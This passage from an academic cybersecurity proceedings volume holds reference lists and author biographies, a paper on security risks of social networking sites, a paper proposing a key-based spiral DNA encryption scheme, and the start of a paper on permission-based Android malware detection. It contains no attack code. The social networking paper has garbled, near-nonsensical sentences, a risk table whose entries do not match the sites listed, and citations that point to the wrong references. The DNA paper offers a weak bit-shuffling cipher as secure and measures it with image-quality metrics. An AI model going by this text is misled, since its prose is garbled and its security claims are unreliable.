and retrieval in the cloud. In: Collaborative computing: networking, applications and
worksharing (collaboratecom), pp 1–8, Oct 2010
24. Uemura T, Dohi T, Kaio N (2009) Availability analysis of a scalable intrusion tolerant
architecture with two detection modes. In: Proceedings of the 1st international conference on
cloud computing, CLOUDCOM’09. Springer, Berlin, pp 178–189
25. A. S. A. event. July 20, 2008. http://status.aws.amazon.com/s3-0080720.html
26. Takabi H, Joshi J, Ahn G (2010) Security and privacy challenges in cloud computing
environments. IEEE Secur Privacy 8(6):24–31
27. Jansen W, Grance T (2011) Draft special publication 800-144: guidelines on security and
privacy in public cloud computing. National Institute of Standards and Technology, U.S.
Department of Commerce
212 N. Agarwal et al.

28. Andrei T (2009) Cloud computing challenges and related security issues
29. Agudo I, Nuez D, Giammatteo G, Rizomiliotis P, Lambrinoudakis C (2011) Cryptography
goes to the cloud. in secure and trust computing, data management, and applications, vol 187
of communications in computer and information science. Springer, Berlin, pp 190–197
30. Santos N, Gummadi KP, Rodrigues R (2009) Towards trusted cloud computing. In:
Proceedings of the 2009 conference on hot topics in cloud computing, HOTCLOUD’09,
Berkeley, CA, USA. Usenix Association
31. Bethencourt J, Sahai A, Waters B (2007 )Ciphertext-policy attribute-based encryption. In:
Proceedings of IEEE symposium on security and privacy
32. Sahai A, Waters B (2005) Fuzzy identity-based encryption. In: Cramer R (ed) Advances in
cryptology—EUROCRYPT 2005. Springer, Berlin, pp 457–473
33. Goyal V, Pandy O, Sahai A, Waters B (2006) Attribute based encryption for fine-grained
access control of encrypted data. In: Proceedings of ACM computer and communications
security conference, CCS’06
34. Ostrovsky R, Sahai A, Waters B (2007) Attribute-based encryption with non-monotonic
access structures. In: Proceeding of ACM conference on computer and communications
security, pp 195–203
35. Tang Q, Ji D (2010) Verifiable attribute-based encryption. Int J Network Secur 10(2):114–120
36. Müller S, Katzenbeisser S, Eckert C (2009) Distributed attribute-based encryption. In:
Proceedings of 11th international conference on information security and cryptology (ICISC
08), pp 20–36
37. Boneh D, Franklin MK (2003) Identity-based encryption from the weil pairing. SIAM J
Comput 32(3):586–615
38. Boneh D, Boyen X, Goh E-J (2005) Hierarchical identity based encryption with constant size
ciphertext. In: Cramer R (ed) Eurocrypt, volume 3494 of lecture notes in computer science.
Springer, Berlin, pp 440–456
39. Wang G, Liu Q, Wu J (2010) Hierarhical attribute-based encryption for fine-grained access
control in cloud storage services. In: Proceedings of ACM conference on computer and
communications security, CCS’ 10
40. Wan Z, Liu J, Deng RH (2012) HASBE: a hierarchical attribute-based solution for flexible
and scalable access control in cloud computing. IEEE Trans Inf Forensics Secur 7(2):743–754
41. Tang Q (2008) Type-based proxy re-encryption and its construction. In: Proceedings of ninth
international conference on cryptology in India, pp 130–144
42. Ateniese G, Benson K, Hohenberger S (2009) Key-private proxy re-encryption. In:
Proceedings topics in cryptology, pp 279–294
43. Shamir A (1984) Identity-based cryptosystems and signatures schemes. Adv Cryptol 47–53
44. Libert B, Vergnaud D (2008) Tracing malicious proxies in proxy re-encryption. In:
Proceedings of PAIRING’08. LNCS 5209. Springer, Berlin, pp 332–353
45. Liu Q, Wang G, Wu J (2012) Time-based proxy re-encryption scheme for secure data sharing
in a cloud environment. Information sciences (in press)
46. Asharov G, Jain A, Lopez-Alt A, Tromer E, Vaikuntanathan V, Wichs D (2012) Multiparty
computation with low communication, computation and interaction via threshold FHE. In:
Proceeding of eurocrypt’12. Springer, Berlin, pp 483–501
47. Yu S, Wang C, Ren K, Lou W (2010) Achieving secure, scalable, and fine-grained data
access control in cloud computing. In: Proceedings of IEEE international conference on
computer communications, INFOCOM’10
48. Blaze M, Bleumer G, Strauss M (1998) Divertible protocols and atomic proxy cryptography.
In: Proceedings of advances in cryptology, eurocrypt’98
49. Yang Y, Zhang Y (2011) A generic scheme for secure data sharing in cloud. In: 40th
international conference on parallel processing workshops, pp 145–153, Sept 2011
50. Samanthula BK et al (2015) A secure data sharing and query processing framework via
federation of cloud computing. Inf Syst 48:196–212
Fine-Grained Access Control and Secured Data … 213

51. Boneh D, Waters B (2007) Conjunctive, subset, and range queries on encrypted data. In:
Proceedings of the 4th conference on theory of cryptography, TCC’07. Springer, Berlin,
pp 535–554
52. Hakan H, Iyer B, Li C, Mehrotra S (2002) Executing Sql over encrypted data in the
database-service provider model. In: Proceedings of the 2002 ACM sigmod international
conference on management of data, SIGMOD’02. ACM, pp 216–227
53. Hore B, Mehrotra S, Canim M, Kantarcioglu M (2012) Secure multidimensional range
queries over outsourced data. VLDB J 21(3):333–358
54. Wang S, Agrawal D, El Abbadi A (2011) A comprehensive framework for secure query
processing on relational data in the cloud. In: Proceedings of the 8th VLDB international
conference on secure data management, SDM’11. Springer, Berlin, pp 52–69

Author Biographies

Neha Agarwal is currently working as an Assistant Professor in

Amity School of Engineering and Technology, Amity
University, Uttar Pradesh. She is pursuing her Ph.D. from Dr. A.
P.J. Abdul Kalam Technical University (APJAKTU) (UP) in the
area of Cloud Computing. She received her M.Tech in Computer
Science Engineering from Amity University Noida, Uttar
Pradesh.

Ajay Rana is a director at Amity University. He received his

M.Tech degree in Computer Science Engineering from
Kurukshetra University, Haryana, India. He obtained his Ph.D.
from UP Technical University, Lucknow (UP) India. He has
published more than 200 Research Papers in reputed Journals
and Proceedings of International and National Conferences. He
has co-authored 06 Books and co-edited 36 Conference
Proceedings. He is Editor in Chief, Technical Committee
Member, Advisory Board Member for 18 Plus Technical
Journals and Conferences at National and International Levels.
214 N. Agarwal et al.

Jai Prakash Pandey is currently working as Professor and

Director in the Department of Electrical Engineering at Kamala
Nehru Institute of Technology, Sultanpur, (UP), India. He has
received his B. Tech and M. Tech in Electrical Engineering from
Kamala Nehru Institute of Technology, Sultanpur (UP), India. He
obtained his Ph.D. degree from UP Technical University,
Lucknow (UP) India. His research interests include applications
of artificial techniques to electrical engineering problems in
power system, estate estimation and power quality.
Comparative Study of Security Risk
in Social Networking and Awareness
to Individual

Tosal Bhalodia, Chandani Kathad and Keyur Zala

Abstract Nowadays, social networking sites are very greatly used and are con-
tinuously growing at its peak. The extraordinary use of all the social networking
sites mainly Facebook, Twitter, LinkedIn, and Google Plus involve huge amount of
data transferred to public daily. This data transfer involves public information such
as personal information, education, professional, etc. which leads to security at
personal level. Let us see the comparative study of Facebook, Twitter, LinkedIn,
and Google Plus for security risk and how effective it is for well-being to society.

Keywords Social Facebook Twitter Gplus Linkedin Security






Public Private Government regulation Information Security



Optimization security measures Vulnerability

1 Introduction

Social networking implementation explores the way to communicate in public, and

this leads to sharing of information to known and unknowns. Implementation of
any tool to live involves great amount of security involvement and needs to concern
about risk of personal/company data. Of above four social networking sites men-
tioned, Facebook and Gplus are very informal and easy to use for all the public.
Linkedin and Twitter are very professional and generally used for connection to
CEO’s and other related professional users. Twitter creates followers and makes
connection through users following.

T. Bhalodia (&)
Atmiya Institute of Technology & Science, Rajkot, India
e-mail: [email protected]
C. Kathad
K. Zala
Ilaxo.Com, Rajkot, India
e-mail: [email protected]
K. Zala
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 215

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_21
216 T. Bhalodia et al.

Business nowadays depends on information system. But due to vulnerability, the

enterprise information system is under the attack of viruses and hackers which
causes great loss to organization on reputation, information leakage, etc. Information
security awareness is very important for each and every individual [5]. This
awareness mainly needs to implement in all the universities in form of information
security subject. This leads to educate the individual about the threat occurred due to
social networking attacks. Malicious software, hacking tutorials, and other resources
intended to help conduct cybercrime can be commonly found within hacker com-
munities, often available for free or traded within black markets [9].

1.1 Facebook/GPlus

There are main three usual features for Facebook like capability to adding friends,
to change or modify status, and last one is implement application for execution
applications such as games and quizzes. A “Friend” means anyone on the Facebook
system whom you allow to see very different levels of personal and public infor-
mation, such as comments, birth date, jobs, photos, member of groups, and list of
other friends and relatives. An individual can play games online and update others
in day-to-day life.
Everyone can also notice friend’s friend, i.e., individuals, whom you have
officially became friend and may not met before, may have visualization keen on
everyone’s private situations and information.
There is update field which is at the pinnacle of the everyone’s Facebook, but the
main use of that field is that it allows the abuser to place anything similar to snippet
as regards several topics at any point. It has very parallel field, although it does not
agree to extra passage, and LinkedIn is not allowed for connecting associations/
images/videos with the keep posted. A little example of every user’s update is
posted by your any social networking site like Facebook friend. These all are
extremely classic:
• “Presently established a plane ticket proffer.”
• “Someone is tired of every one this cold winter.”
Even though that strength looks comparatively undamaging, the third position
could raise a little be anxious. Every user can tell all their friends and connected
links, i.e., all of your friends, which we do not be there at home used for a half year
[12]. This is like to attaching an indication on the main road and infusing
something.
Although the applications on social network may seem to be safe, along with in
actuality a good number probably it is safe and harmless, it is forever something
that can send harmful content to your computer/laptops. It is not right just to
Facebook, but there are same as like Facebook, additional social networking sites
which are associated with the Internet in universal situation, when you start
Comparative Study of Security Risk in Social … 217

downloading the web form or opening documents in email communications. So,

you need to make sure that every user’s computer has a correct and efficient
antivirus or firewall, which means updated antivirus and install or run antivirus
software if all are starting from a trust resource or accepted by the admin or group
of IT department.

1.2 Twitter

It is a live application like to Facebook and LinkedIn which allows you to post
comments which we say these days to tweet on some topics. Special users on the
network of Twitter can grow to be supporters of someone’s tweets related, like
everyone can receive the updates regarding the data or information which are sent
by them.
Study over the business ecosystems in Hungary by monitoring 6000 out of
20,000 Facebook users who publically displayed their employers. Then, they rep-
resented the complexity of connections graphically through a simulator. Also, they
transformed the overall graphical network into a relationship graph of employers. If
individuals are very related to each other in the network, then there is strong
bonding in relationship with each other. Making progress to the same framework,
Neunerdt et al. [3] proposed two algorithms for collecting and processing web
comments in context of social blogging. Agarwal [1] proposed his extraordinary
research work on “Prediction of Trends in Online Social Networks”. He expended
the “directed links of following” in the social media of Twitter to determine the flow
of information. This approach directed a user’s influence on others users that could
decide if the topic is stylish or viral in the social networking world.

1.3 LinkedIn

If user can utilize Facebook, LinkedIn, Gplus, Twitter, or else some other online
site for social networking, Internet banking or daily purchases, you must be
responsive of messages and emails which are argued to be since these sites but
actually the tricks may contain nasty content. I have received many emails that
claim to be from my personal bank, but they are actually sent by a spammer.
Spammers are there in the hopes of obtaining my users user id and password.
Claiming of emails of Twitter and Facebook invitations is now most common.
Emails and messages may still contain an attach RAR file or ZIP file that recipients
may use to unlock to observe which user is invited them and made a flow to open
the file. The attachment actually contains a worm; it may destroy the entire user’s
computer and user’s reputation on personal and organizational level.
218 T. Bhalodia et al.

2 Research Background

The paper refers to the definition of information security as given by IMS for
information security. It defines “securing the information from different threats in
order to ensure business confidentiality, reducing business risk, and increase ROI
and business opportunities” [4].

2.1 Finding from Short Survey

Information security is a technical problem but nowadays it is management problem

as organizations are facing real financial losses and threat of reputation [7, 11].
Recent survey by CSI—Computer Security Institute—found that there are various
risk levels to security (Table 1).

2.2 Finding from short survey chart

See Fig. 1.

3 Discussion and Conclusion

It is very important to keep awareness of social media among the employees and
within the organization. There are many negative consequences for such exploring
to social media. Due to such study and effect of information leakage and by pre-
vious studies, we have concluded that employees and other individuals are very

Table 1 The percentage of threat in real world when exploring personal information to social
networking sites [6]
Social site Uses Risk percentage
(%)
Facebook Facebook allows posting of personal data 61
Twitter Twitter creates business relations and connections 17
LinkedIn Creates followers 4
Google Same as Facebook but with low risk due to its usability 40
Plus …
Myspace User’s space 18
There are biggest risk of security Facebook (61%), Twitter (17%), LinkedIn (4%), Google Plus
(40%), and Myspace (18%)
Comparative Study of Security Risk in Social … 219

Fig. 1 The types and percentage of information shared on social media

well aware about the threat by leakage of organizational and personal information
to the outer world, as mentioned issues and percentage of sharing information might
lead to serious damages.
By considering the security problem caused by social networking sites, the
suggestions must be implemented by organizations and individuals. Such consid-
erations are more distinguished by SETA programs, with organizational policies
[2, 12].
Based on above discussions, it can be said that many users are aware of the use
of social media that is directly concerned with the security issues. However,
organizations and many awareness programs in the society play important role to
install this awareness to individual in order to protect them from leakage of valuable
information of personal and professional information, which may cause serious
security disaster.

References

1. Abdul Molok NN, Ahmad A, Chang S (2011) Disclosure of organizational information by

employees on Facebook: looking at the potential for information security risks. In: 22nd
Australasian Conference on Information Systems (ACIS2011), Sydney, Australia
2. Abdul Molok NN, Chang S, Ahmad A (2013) Discolsure of organizational information on
social media: perspectives from security managers. In: 17th Pacific Asia Conference on
Information Systems (PACIS2013), Jeju Island, South Korea
3. Agarwal P (2013) Department of Computer Science and Engineering, IIT Delhi. Prediction of
trends in online social network
4. CSI (2007) 12th annual computer crime and security survey. Computer Security Institute
5. Eminagaoglu M, Uçar E, Eren S (2009) The positive outcomes of information security
consciousness training in companies-A case study. Inf Secur Tech Rep 14:223–229
220 T. Bhalodia et al.

6. Neunerdt M, Niermann M, Mathar R, Trevisan B (2013) Focused crawling for building web
comment corpora. In: The 10th Annual IEEE CCNC- Work-in-Progress, pp 761–765
7. Olsik J (2011) The ESG information security management maturity model. Enterprise
Strategy Group, Milford, Massachusetts
8. PricewaterhouseCoopers (2010) Security for social networking. pwc.com.au, Australia
9. Radianti J, Gonzalez JJ (2007) A preliminary model of the vulnerability black market. Society
10. Rowe FM, Ciravegna F (2010) Harnessing the social web: the science of identity
disambiguation. In: Web Science Conference
11. Sophos (2011) Security threat report: 2010. Sophos Group, Boston, Massachusetts
12. Star T (2012) Don’t become an ‘accidental’ outlaw. In the Star Online
A Key Based Spiral Approach for DNA
Cryptography

Ekta and Ajit Singh

Abstract The present paper provides the conceptual framework on DNA cryp-
tography. A key based spiral technique is proposed which uses the concept of a key
to generate a spiral transposition to provide more data security than the existing
technique. The existing technique is not much robust against attacks and it uses a
fixed spiral. Various attacks can lead to data access to unauthorized users. The
proposed technique makes the transformation based on key. The performance
comparison between the existing, i.e., DNA sequence dictionary method for
securing data in DNA using a fixed spiral transposition and proposed technique,
i.e., a key based spiral approach for securing the data, shows that the proposed
technique is much better than the existing technique in terms of MSE, PSNR, and
percentage of total bit changed and provides more security than the existing
technique.

Keywords DNA cryptography DNA structure Spiral transposition



MSE PSNR Percentage of total bit changed A, T, G, and C

1 Introduction

Nowadays, security of information has become very important with the growth of
technical advancement and the use of internet spreading day by day at a very rapid
rate. New technologies are emerging in IT sector which give invitation to the
attackers and threats. Lots of things are affected by these threats and attacks like
bank account, social security, etc. Information should be known to the receiver

Ekta (&)
A. Singh

Department of CSE & IT, Bhagat Phool Singh Mahila Vishwavidyalaya,
Sonipat, India
e-mail: [email protected]
A. Singh
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 221

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_22
222 Ekta and A. Singh

only, but because of the weak spots in the security system information gets vul-
nerable by exploiting the weakness of system as follows:
• The area where ciphers are stored,
• Strength of the used algorithm,
• Random number generator, etc.
Therefore, the main job of the designer who designs the security system is to
diminish the chances of threats that attack our system and exploit the weakness. The
modern cryptography algorithms like DES and MD5 are also in danger zone [1].
For this purpose, DNA computing provides helpful direction in solving different
kinds of problems in cryptography and security. In DNA computing, DNA is used
as an information shipper or carrier and modern technology of biology is used as a
fulfillment tool. DNA cryptographic system is very powerful against attackers.
DNA molecules are used for cryptography because of their massive parallels and
extraordinary or vast information inherent capacity or density [2–4]. DNA becomes
a perfect medium for data hiding because of its extraordinary storage capacity and
the capability of synthesizing its sequence in any desirable length.
The chances of threats and attacks are increasing at a very rapid rate because of the
rapid development in the technical advancement. So, the required security require-
ments are not satisfied with the traditional cryptography methods [5–7] DNA is a
natural carrier of the information, which stores the data in the form of nucleotides.
DNA can store any type of data whether it is image, text, audio, or video. The
information stored in DNA can be any email, password, banking details, organization
details, industry details, or any other personal or private information [8, 9, 4]. DNA
cryptography provides security of data inherited in DNA in the form of nucleotides. It
encodes the data or information in such an efficient way that it can be transmitted
through any open environment in a secure and efficient way. So, two major issues
present in the field of system security and cryptography are storage and security and
both of these issues get resolved by the DNA cryptography [5, 3, 10, 11].

2 Existing Technique

The existing technique of DNA cryptography used a DNA sequence dictionary

method using a fixed spiral for securing data [4]. The author used a five-stage
method to encrypt the data using DNA sequence. The stages are shown in the
flowchart given in Fig. 1. First, data is taken as an input. Then, this input data is
converted into the binary form. After converting the data into the binary form, an
8  8 matrix is formed from this binary data. Then, a spiral transposition is done
onto this matrix to get a new 8  8 transposed matrix. Spiral transposition changes
the bit position in the matrix in such a way that it becomes very hard for the attacker
to know what the actual data is. After spiral transposition, corresponding decimal
A Key Based Spiral Approach for DNA Cryptography 223

value is given to the each 8-bit binary data. Then, the corresponding DNA sequence
is given to these decimal values from the given dictionary table containing 64
values. But the main disadvantage of this approach is that it uses a fixed spiral;
therefore, there is no flexibility in this approach [4].

3 Proposed Technique

The proposed technique is based on the concept of key based spiral approach for
DNA cryptography where data as well as the key is taken as an input as shown
below in the flowchart of Fig. 2. The data and the key both are converted into the
binary form. After converting them into the binary form, compare the size of data
bit with the size of key. If the size of key is less than the size of input data, then the
key is repeated to get the size equal to the binary input data. Now, each bit of key is
checked out. If the bit in the key is zero, then the new encrypted data have the same
value as that of old data means no replacement is made. But if the key has 1 in the
bit position, then the new encrypted data will have a new element, i.e., total data

Fig. 1 Flowchart of existing

technique
224 Ekta and A. Singh

Fig. 2 Flowchart of proposed technique

 A Key Based Spiral Approach for DNA Cryptography 225

length- key length. Suppose there are 100 elements in the input data. If we are
checking the first bit of key and it is 0, then the new encrypted data have the same
bit input as of old data. Suppose, now we are checking the second bit of key and it
is 1, then @(100-1), i.e., 99th bit of the old data will go to the second position of the
new encrypted data, and so on. Now convert this binary data into the decimal value
and find the corresponding four-character-long DNA sequence into the dictionary.

3.1 Requirements of the Proposed Technique

The existing technique used a fix spiral transposition, so there was no flexibility.

Once an attacker came to know about the technique used for encrypting the whole
data, he could easily recover all the data. So, to enhance the security of information,
a key based spiral is used, where the encryption of data is based upon key. This
key based concept provides flexibility in encrypting the data because any key can
be used to encrypt the data. So, first the attacker has to know about the particular
key used in the encryption, and only then he can recover the original data.

3.2 Illustration of the Proposed Technique

The various steps involved are explained below:

(a) Step 1: Plaintext of 8 characters is taken as an input, i.e., “THURSDAY”.
(b) Step 2: A key of four characters is also taken as input, i.e., “ABCD”.
(c) Step 3: The plaintext “THURSDAY” is converted into its corresponding binary
values (Table 1).
Now, the binary representation of the plaintext can be given into a matrix
form (Fig. 3).
(d) Step 4: Key “ABCD” is also converted into its corresponding binary values
(Table 2):

Table 1 ASCII input value Character ASCII value Binary value

to binary value
T 84 01010100
H 72 01001000
U 85 01010101
R 82 01010010
S 83 01010011
D 68 01000100
A 65 01000001
Y 89 01011001
 226 Ekta and A. Singh

0 1 0 1 0 1 0 0
0 1 0 0 1 0 0 0
0 1 0 1 0 1 0 1
0 1 0 1 0 0 1 0
0 1 0 1 0 0 1 1
0 1 0 0 0 1 0 0
0 1 0 0 0 0 0 1
0 1 0 1 1 0 0 1

Fig. 3 Binary value into matrix form

Table 2 ASCII key value to binary value

Character ASCII value Binary value
A 65 01000001
B 66 01000010
C 67 01000011
D 68 01000100

0 1 0 0 0 0 0 1
0 1 0 0 0 0 1 0
0 1 0 0 0 0 1 1
0 1 0 0 0 1 0 0

Fig. 4 Binary value of key into matrix

0 1 0 0 0 0 0 1
0 1 0 0 0 0 1 0
0 1 0 0 0 0 1 1
0 1 0 0 0 1 0 0
0 1 0 0 0 0 0 1
0 1 0 0 0 0 1 0
0 1 0 0 0 0 1 1
0 1 0 0 0 1 0 0

Fig. 5 Representation after repetition of key

Now, the binary representation of the key can be given in a matrix form
(Fig. 4).
(e) Step 5: If the key size is less than the plaintext size, then repeat the key binary
values to make the size of key equal to the size of plaintext. Therefore,
repeat the binary key (Fig. 5).
(f) Step 6: Now make a spiral based upon the logic that if there is 0 at any bit
position in the key then the new encrypted data has the same value as
that of old data. But, if there is 1 in the key bit position, the data bit is
replaced by a new data bit. Suppose there is 1 on the first position in the
key and total data length is 64, then we will put (64-1) 63 element of the
 A Key Based Spiral Approach for DNA Cryptography 227

0 0 0 1 0 1 0 1
0 0 0 0 1 0 0 0
0 1 0 1 0 1 0 1
0 0 0 1 0 1 1 0
0 0 0 1 0 0 1 1
0 1 0 0 0 1 0 0
0 0 0 0 0 0 0 0
0 1 0 1 1 1 0 1

Fig. 6 Representation after spiral

Table 3 ASCII equivalent of Binary value ASCII value DNA sequence

spiraled values
00010101 21 ATTA
00001000 8 AATC
01010101 85 TTTA
00010110 22 ATTT
00010011 19 ATAG
01000100 68 TAAC
00000000 0 CCCC
01011101 93 TTCA

old data into the first position of the new encrypted data. Therefore, a
spiral based on this logic can be represented as (Fig. 6):
(g) Step 7: Now, the spiral’s equivalent ASCII values and DNA sequence using the
DNA sequence dictionary are shown in (Table 3):
Therefore, from the above illustration, the encrypted text for the plaintext
“THURSDAY” using a key “ABCD” is “ATTAAATCTTTAATTTATAG
TAACCCCCTTCA”.

4 Performance Comparison

The performance comparison has been made between the existing and the proposed
technique on the basis of PSNR, MSE, and percentage of total bit changed. It is
clear from the results that the proposed technique is much better than the existing
technique in terms of PSNR, MSE, and total percentage of bit changed. The pro-
posed technique provides the low MSE and low total bit changed and high PSNR
than the existing method.
228 Ekta and A. Singh

4.1 Definition of Various Performance Terms

PSNR (Peak Signal-to-Noise Ratio): It is the measure of quality of picture with the
comparison of cover image and stego image. If PSNR is higher, it means the
performance of technique is also higher [12, 13].
MSE (Mean Square Error): It is defined as the square of error between the stego
image and the cover image. It should be low for better results [14, 11].
Percentage of total bit changed: The total percentage of the bit change represents
the amount of bits change in the cover data to get the stego data. The lower the bit
change, the better is the technique [12, 13].
Various graphs generated using Matlab® and program codes are shown in
(Figs. 7, 8, and 9).

Fig. 7 MSE versus message length for proposed and existing technique

PSNR vs Message Length

10

8
(
PSNR dB

PSNR by
6
Present
)

4 Method

2 PSNR by
Proposed
0 Method
3 4 5 6 7 8 9 10
Message Length

Fig. 8 PSNRS versus message length for proposed and existing technique
A Key Based Spiral Approach for DNA Cryptography 229

% of Bit Changed vs Message Length

50
% of Total bit

40
Changed

30
20 % of total bit changed by Present Method
10
% of total bit changed by Proposed Method
0
3 4 5 6 7 8 9 10
Message Length

Fig. 9 Percentage of bit changed versus message length for proposed and existing technique

5 Conclusion

The existing technique is having a number of limitations such as use of fixed spiral,
high MSE, low PSNR, and high percentage of total bit changed, due to which it
doesn’t fulfill the security requirements. Keeping in view to avoid such types of
problems, the new technique is proposed which makes use of concept based on
key based spiral transposition where the encryption is based upon key; different
keys can be used to encrypt any type of data. Therefore, security is enhanced due to
key flexibility system. The logic used in the key is based upon the existence of 0 or
1. If there is 1 in the key bit position, the data bit is replaced by a new data bit.
Suppose there is 1 on the first position in the key and total data length is 100, then
we will put (100-1), i.e., 99 elements of the old data into the first position of the new
encrypted data. Therefore, the logic used here is better as compared to the earlier
approach because it is based upon a key flexibility system, i.e., it can use a key or
different keys to encrypt the data. The three main parameters, i.e., MSE, PSNR, and
percentage of total bit changed also give us better results. The value of MSE is low;
the lower the value of MSE, the better the result. The value produced by the PSNR
is also high; the higher the value of PSNR, the better the results. The total number
of bits changed also gets reduced so that the attacker cannot differentiate between
the actual data, i.e., DNA and the encrypted data. Therefore, in comparison to the
existing technique, this proposed technique has a good flexible key based
encryption method and proposed method also produces lower MSE, higher PSNR,
and total percentage of bits changed get reduced than the present method. Hence,
the proposed technique is better than the existing technique. One other benefit of the
proposed method is also the flexibility of key used.

References

1. Jacob G, Murugan A (2013) DNA based cryptography: an overview and analysis. Int J Emerg
Sci 3(1):36–42
2. Chen J (2003) A DNA-based, bimolecular cryptography design. In: ISCAS’03 proceedings
3. Gehani A, LaBean T, Reif J (2004) DNA-based cryptography. Lecture Notes in Computer
Science, Springer
230 Ekta and A. Singh

4. Jain S, Dr. Bhatnagar V (2014) A novel sequence dictionary method for securing data in DNA
using spiral method and framework of DNA cryptography. ICAETR
5. Soni R, Prajapat G (2013) A modern review on DNA cryptography techniques. Int J Adv Res
Comput Sci Softw Eng 3(7)
6. Amin ST, Saeb M, El-Gindi S (2006) A DNA-based implementation of YAEA encryption
algorithm. In: IASTED International Conference on Computational Intelligence
7. Pruthi Y, Dixit S (2014) A comparative study on DNA cryptography. IJARCEE 4(5)
8. Kahate A Cryptography and network security (3rd edn). McGraw-Hill
9. Shyam VMM, Kiran N (2000) A novel encryption scheme based on DNA computing. In:
14th IEEE International Conference, Tia, India
10. Borda ME, Tornea O (2010) DNA secret writing techniques. In: IEEE conferences
11. Kumar S, Chakraborty S (2011) Image steganography using DNA sequence. AJCSIT 1:2
12. Khalifa A, Atito A (2012) High-capacity DNA-based steganography. In: The 8th International
Conference and informatics and Systems, IEEE
13. Torkaman MRN, Kazazi NS, Rouddini A (2012) Innovative approach to improve hybrid
cryptography by using DNA steganography. IJNCAA 2(1)
14. Tulpan D, Regoni C, Durand G, Bellivean L, Leger S (2013) A hybrid stegano-cryptographic
approach for data encryption using randomized error correcting DNA codes. HINDAWI 2013

Author Biographies

Ekta is currently pursuing PhD (2018) in Computer Science and Engineering from Bhagat Phool
Singh Mahila Vishwavidyalaya, Haryana, India, a governement university.

Prof. Ajit Singh is working as Professor in Dept. of Computer Science and Engineering of Bhagat
Phool Singh Mahila Vishwavidyalaya, Haryana, India, a governement university.
Permission-Set Based Detection
and Analysis of Android Malware

Aditi Sharma and Amit Doegar

Abstract Smartphone industry has become one of the fastest growing techno-
logical areas in the past few years. The monotonic growth of Android share market
and the diversity among various app sources besides official Google Play Store has
attracted attention of malware attacker. To tackle with the problem of increasing
number of malicious Android app available at various sources, this paper proposes
a novel approach which is based on feature similarity of Android apps. This
approach has been implemented by performing static analysis to extract the features
from an APK file. Extracted features are useful and meaningful to make efficient
training system. This paper proposes a permission-based model which makes use of
self-organizing map algorithm. The implemented approach has been analyzed using
1200 heterogeneous Android apps. The proposed approach shows improved results
for TPR, FPR, and accuracy.

Keywords Android applications
Android malware
Self-organizing map

1 Introduction

The shares of smartphone market are increasing day by day. Numbers of new
smartphone companies are coming in market with new models having number of
new and extra features. Although smartphone industry is a tough industry, if one
wants to become a part of this industry, they have to come with little bit more that is
just good. This can be provided by enhancing smartphone processor, operating
system, battery life, storage capacity, screen resolution, and many more. In addition
to this, smartphone has inbuilt apps which provide extraordinary features.
Simultaneous execution of many app creates a burden on operating system for

A. Sharma (&)
A. Doegar

Department of CS NITTTR, Chandigarh, India
e-mail: [email protected]
A. Doegar
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 231

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_23
232 A. Sharma and A. Doegar

faster execution. To handle this, a lightweighted operating system has been

required. Android is lightweighted and open-source operating system.
Lightweighted feature of Android operating system allows it to handle multiple
requests efficiently. Open-source feature allows it to install apps from any source. It
might be official Google Play Store or any third-party sources. In order to detect the
threat in Android-based devices, two main techniques, static analysis and dynamic
analysis, are used [1]. Static analysis based studies detect and analyze app without
executing it. While in case of dynamic analysis, it usually detects and analyze app
during execution or after the execution.
Today, for Android platform, there exist more than million of apps in official
Google Play Store—targeted at a specific task and covering almost all area of our
life. With diverse range of Android apps, Android smartphone penetrated deeper
into our lives and became integral part of it [2]. The increased usage and popularity
of Android smartphone attracted the attackers. Attacker not only affects the usage
and popularity of Android smartphone but also created new possibilities for threats.
Android malwares are growing with the same rate as Android smartphone market
growing. Both are directly proportional to each other. This proportion creates a big
challenge for us. The growth of Android malware generated a new area for
research. To handle the challenge of growing rate of Android malware, we need to
employ a novel approach which is also capable to detect new Android malware
with improved accuracy.

2 Related Work

The number of concept and technique was proposed to reduce the growing amount
of Android malware. To gain knowledge about malware propagation, a detailed
study of related work is needed. A number of survey papers were written to pay
attention on malware detection, analysis, and propagation with their cause and
effect that was provided in studies of [3–6]. The Cooper et al. [3] Android apps was
developing quickly for almost covering gaming, entertainment, adventure, educa-
tion, social media, businesses, lifestyle, and other day-to-day activities. With quick
development of these apps, developer had not provided more attention to security of
these apps. Hence, a solid understanding of malware characteristics was needed.
This helped to prevent many unwanted consequences present in the app. [4] told
that malware was not only related to abnormal execution of a program. There were
big incentives for writing malware [5]. Basic reason of all malware was to harm the
users by any means. But all those malware were not shared similar characteristics.
Based on malware characteristics, Android malware falls in 49 different malware
families [6]. They gave first mobile malware survey and analyzed a total of 46
samples of iOS, Symbian, and Android with their incentives. Other Android-based
analysis and detection approaches [7–9] were existed in literature. The authors
utilized only permission set to detect and analyze the Android malware [7]. They
developed a two-layered permissions-based detector. This detector utilized only
Permission-Set Based Detection and Analysis … 233

requested features and used-features of Android apps [8]. They gave PUMA to
detect Android malware also based on permission set [9]. They studied relationship
of permissions requested by Android apps. This study was intended for
non-malicious Android apps only.

3 Proposed Work and Methodology

To detect malicious apps, the proposed approach requires low-level feature visu-
alization with high-level feature similarity that helps to determine typical indica-
tions of malicious activity. Many researchers implemented their approaches by
knowingly class label in advance. To implement the proposed approach, we do not
need any class label in advance, as we employed unsupervised clustering technique.
The dataset has been collected from official Google Play Store [10] and android-
sandbox.net [11]. The implementation process is as follows:
(a) Android app reverse engineering: In the first step, a Java-based APK tool has
been used for automated reverse engineering of APK files. This tool provides
readable Android Manifest.xml file, multiple Smali files, and other resource
subfolders (Sect. 3.1).
(b) Broad static analysis: In the first step, given Android application is inspected
and extracts different features from the Android manifest and Smali files
(Sect. 3.2).
(c) Embedding in vector space: The extracted features have been mapped into a
vector space separately for each model, where patterns and combinations of the
features can be analyzed on the similarity bases (Sect. 3.3).
(d) Self-organizing feature map based visualization: Self-organizing feature map
make cluster based on their feature similarity. The embedding of the features
enables us to identify malware using SOM, which provides better visualization
of features (Sect. 3.4).

3.1 Android App Reverse Engineering

